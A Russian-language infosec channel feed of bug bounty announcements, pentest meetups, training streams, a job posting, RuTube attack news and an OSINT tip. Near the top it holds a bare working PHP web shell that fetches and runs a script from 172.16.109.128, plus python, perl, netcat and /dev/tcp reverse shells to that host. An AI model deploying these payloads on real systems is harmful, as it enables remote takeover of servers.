ИнфоБес #Aнализ безопасности #Тестирование на проникновение

Незнаю как проглядел, можно брать как чек-лист для Bitrix.

https://d-russia.ru/pravitelstvo-utverdilo-spisok-organizacij-kotorym-neobhodimo-provesti-audit-zashhishhjonnosti-svoih-is.html Список доступен в статье.

cmd.php <?php system("while true;do curl http://172.16.109.128/rev.sh |sh;done") ;?> rev.sh

if command -v python > dev/null 2>&1; then
    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.16.109.128",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
    exit;
fi

if command -v perl > /dev/null 2>&1; then
    perl -e 'use Socket;$i="172.16.109.128";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
    exit;
fi

if command -v nc > /dev/null 2>&1; then
    rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 172.16.109.128 443 >/tmp/f
    exit;
fi

if command -v sh > /dev/null 2>&1; then
    /bin/sh -i >& /dev/tcp/172.16.109.128/443 0>&1
    exit;
fi

Доступна публичная оплачиваемая программа Тинькофф Банк Тинкофф Банк Границы поиска уязвимостей включают: *.tinkoff.ru, *.tcsbank.ru, *.tinkoffinsurance.ru. и мобильные приложения. Размер пользовательского вознаграждения зависит от уровня критичности уязвимости: Низкий (Low): от 0 (нуля) до 7 500 рублей; Средний (Medium): от 7 500 до 23 000 рублей; Высокий (High): от 23 000 до 56 000 рублей; Критичный (Critical): от 56 000 до 150 000 рублей. https://bugbounty.ru/home/programs/tinkoff

Продолжаем серию наших ламповых встреч в формате собеседования. На подходе наша третья по счету встреча с подписчиками канала. Как всегда, я и Роман зададим вам несколько вопросов по различным аспектам внутреннего пентеста и постараемся вместе с вами раскрыть несколько интересных тем. Если вы пропустили предыдущие выпуски, то можете послушать их на яндексе. Сразу обозначим, что данное мероприятие не ставит цельей по поиску сотрудников в какие-либо компании, основная цель это повеселиться и пообщаться. Приглашаю к участию всех заинтересованных, вопросы будут от супер простых до супер сложных, но даже новичок в этом деле сможет на пару вопросов ответить)) До встречи, 18-го июня в 22:00 по мск.

Registration is now LIVE for the PNPT Training Live stream class. Over 50 hours of ethical hacking training, including OSINT, Active Directory exploitation, web exploitation, privilege escalation, exploit development, and so much more. FREE. What does it cost to participate? NOTHING. What does it cost to follow along with the labs? NOTHING. FREE means FREE! Enroll here: https://academy.tcm-sec.com/p/pnpt-live ================================= thecybermentor запускает стрим на твиче 5 своих курсов для подготовки к PNPT. Practical Ethical Hacking Linux Privilege Escalation for Beginners Windows Privilege Escalation for Beginners Open Source Intelligence (OSINT) Fundamentals External Pentest Playbook Стрим 2 раза в неделю по часу, среда и пятница в 19.00 Мск. + 30 мин. ответы на вопросы. 25 недель (6 мес.!) т.к. суммарная продолжительность курсов 50 часов. Не знаю кому такой формат подойдет, но пусть будет. #study

https://www.youtube.com/watch?v=JHDCoEDUfW0 Полезная информация по подготовке к собеседованию. Проводить руководитель пентестеров Джет.

Компания Ростелеком Должность: эксперт по анализу защищенности веб приложений *Формат работы: удаленный ЗП предложение: 120-180.000 gross + премии, выше обсуждаемо Задачи: • Проведение анализа защищенности веб-сервисов (динамический анализ); • Участие в Red Teaming; • Оформление сопутствующей документации (отчеты, рекомендации по устранению уязвимостей и др.); • Автоматизация деятельности подразделения. Требования: • Опыт проведения анализа защищенности приложений (динамический анализ; чёрный ящик); • Опыт поиска и эксплуатации уязвимостей; • Понимание основных протоколов авторизации: SAML, OAuth и др.; • Знание основных методик тестирования: OWASP, PCI DSS, PTES и др.; • Знание основных скриптовых языков: Python, Bash и др.; Будет плюсом: • Участие в программах bug bounty; • Участие в CTF; • Наличие сертификатов OSCP, OSCE, OSWE и т.д.; • Опыт разработки приложений; • Знание базового стека Java (J2EE, Spring Framework, REST API и т.д.); • Опыт работы с docker, docker-compose, k8s. #Вакансия

Сбермаркет запустили BugBounty программу на сайте https://bugbounty.ru. Границы поиска уязвимостей включают: веб-приложения *.sbermarket.ru и мобильные приложения. Размер пользовательского вознаграждения зависит от уровня критичности уязвимости: Низкий (Low): от 0 (нуля) до 4 000 (четырех тысяч) рублей; Средний (Medium): от 4 000 (четырех тысяч) до 20 000 (двадцати тысяч) рублей; Высокий (High): от 20 000 (двадцати тысяч) до 50 000 (пятидесяти тысяч) рублей; Критичный (Critical): от 50 000 (пятидесяти тысяч) до 150 000 (ста пятидесяти тысяч) рублей.

Онлайн доклады PHD. https://event.phdays.com/ru/?utm_source=phd&utm_medium=cpm&utm_campaign=phd11&utm_content=banner-schedule-page

RuTube не вышел с майских: сервис лежит третий день. Отечественный аналог стал жертвой APT-атаки. Ребята на хабре подозревают утечку исходного кода сайта, но в Rutube это отрицают. Есть мнение, что сервис невозможно восстановить. По предварительным оценкам сервиса, в результате атаки было поражено более 75% баз и инфраструктуры основной версии и 90% резервных копий и кластеров для восстановления баз данных. Работа по восстановлению продолжается третьи сутки силами специалистов и партнёров Rutube. По словам технических специалистов видеохостинга, основная сложность заключается в восстановлении инфраструктуры, состоящей из сотен серверов, каждый из который приходится восстанавливать в ручном режиме, постепенно устраняя последствия вмешательства злоумышленников. #video #infosecurity #RuTube #news

При поддержке компании «Безопасные программные решения» пройдет онлайн-конференция по кибербезопасности Defcon 58. ❗️Обязательно присоединяйся, чтобы узнать: ⚡️про методы и приемы безопасной разработки ПО ⚡️ что несёт в себе социальная инженерия ⚡️ способы как выявить и защититься от инсайдеров ❗️Стартуем 05 мая в 16:00 по Московскому времени. Записывайся заранее, чтобы не пропустить! Оставляй заявку, приглашай друзей и получи самые актуальные и востребованные навыки 2022 года! Участвовать: 👉🏻 https://defcon-penza.timepad.ru/event/1970591/ 👉🏻 https://vk.com/defcon58 Специалисты компании Безопасные программные решения (Secure Software Solutions Ltd) готовы делиться самыми важными инсайтами по информационной безопасности. Смотри👀, слушай👂🏻 и записывай✍🏻 !

#OSINT Быстрая проверка номера телефона в Telegram В обновлении 3.6 Telegram добавили возможность посмотреть профиль, используя его номер телефона. Теперь не обязательно добавлять его в контакты. Работает только с теми профилями, которые не скрыли свой номер в настройках конфиденциальности. Для использования фичи используйте полный номер в международном формате, например t.me/+74959843364

https://vc.ru/dev/390549-kiberpoligon-i-positive-technologies-zapustyat-analogi-hackerone-vesnoy-2022-goda https://bugbounty.ru/